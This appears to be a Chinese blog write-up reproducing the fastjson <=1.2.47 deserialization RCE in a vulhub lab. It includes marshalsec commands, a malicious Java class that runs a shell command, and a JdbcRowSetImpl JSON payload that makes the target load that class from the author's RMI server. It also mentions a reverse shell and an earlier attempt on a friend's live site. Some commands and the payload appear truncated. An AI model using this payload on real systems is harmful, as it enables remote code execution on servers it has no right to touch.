fastjson<=1.2.47反序列化漏洞复现
阅读原文时间:2023年07月10日阅读:1

0x00:前言

这个漏洞爆出来之后本来一直打算挑时间去复现,后来一个朋友突然发来他们站点存在fastjson这个漏洞被白帽子发了报告。既然漏洞环境送上门来,我便打算直接下手试一试。在我的想象中当然是一发入魂回车shell(大雾),事实证明事情永远不会这么简单,我怀疑他们偷偷修复了这个漏洞因为我rmi服务器连响应都没收到….因此我是基于P师傅的vulhub环境复现的。

0x01:环境准备

直接将github上的vulhub下载下来,进入fastjson漏洞环境目录下,执行

dcoker-compose up -d

开启环境

接着在自己的vps里开启rmi或者ldap服务

推荐使用marshalsec快速开启rmi或ldap服务

地址:

https://github.com/mbechler/marshalsec

下载marshalsec,使用maven编译jar包

mvn clean package -DskipTests

开启rmi或ldap服务

java -cp target/marshalsec-0.0.1-SNAPSHOT-all.jar marshalsec. [-a] [-v] [-t] [ []]

这里的TouchFile是我编译好的恶意类,将编译好的TouchFile.class放在tomcat webapps/ROOT 目录下,java源码如下

import java.lang.Runtime;
import java.lang.Process;

public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}

开启tomacat,确认可以访问http://ip:8080/TouchFile.class

为什么要确认这一点呢,因为我一开始把class文件放在了webapps目录下一直没复现成功。后来我一看tomcat的access-log发现我rmi确实请求访问恶意类了,但是是404…我一度怀疑人生了都…

0x02:攻击

直接请求搭建好的漏洞环境,端口是8090 将方法改成POST

payload:

"a":{  
    "@type":"java.lang.Class",  
    "val":"com.sun.rowset.JdbcRowSetImpl"  
},  
"b":{  
    "@type":"com.sun.rowset.JdbcRowSetImpl",  
    "dataSourceName":"rmi://ip:8088/TouchFile",  
    "autoCommit":true  
}  

}

发送请求后,rmi服务器收到响应,远程加载恶意类TouchFile.class

可以看到已成功执行touch /tmp/success

同理 反弹shell

0x03:一些坑点

因为之前的服务器到期了一直没买新的,这次的vps是刚买的,买的阿里云忘了配置防火墙了就很尴尬…rmi一开始没收到请求我还很疑惑,结果我朋友问我你防火墙配置了吗….

接着就是这个恶意类放置路径的问题(我java实在是太菜了 这不是坑点 这是我太菜了)

最后就是rmi和ldap这种利用方式对版本是有要求的,它们分别在以下版本被修复

手机扫一扫

移动阅读更方便

阿里云服务器
腾讯云服务器
七牛云服务器

你可能感兴趣的文章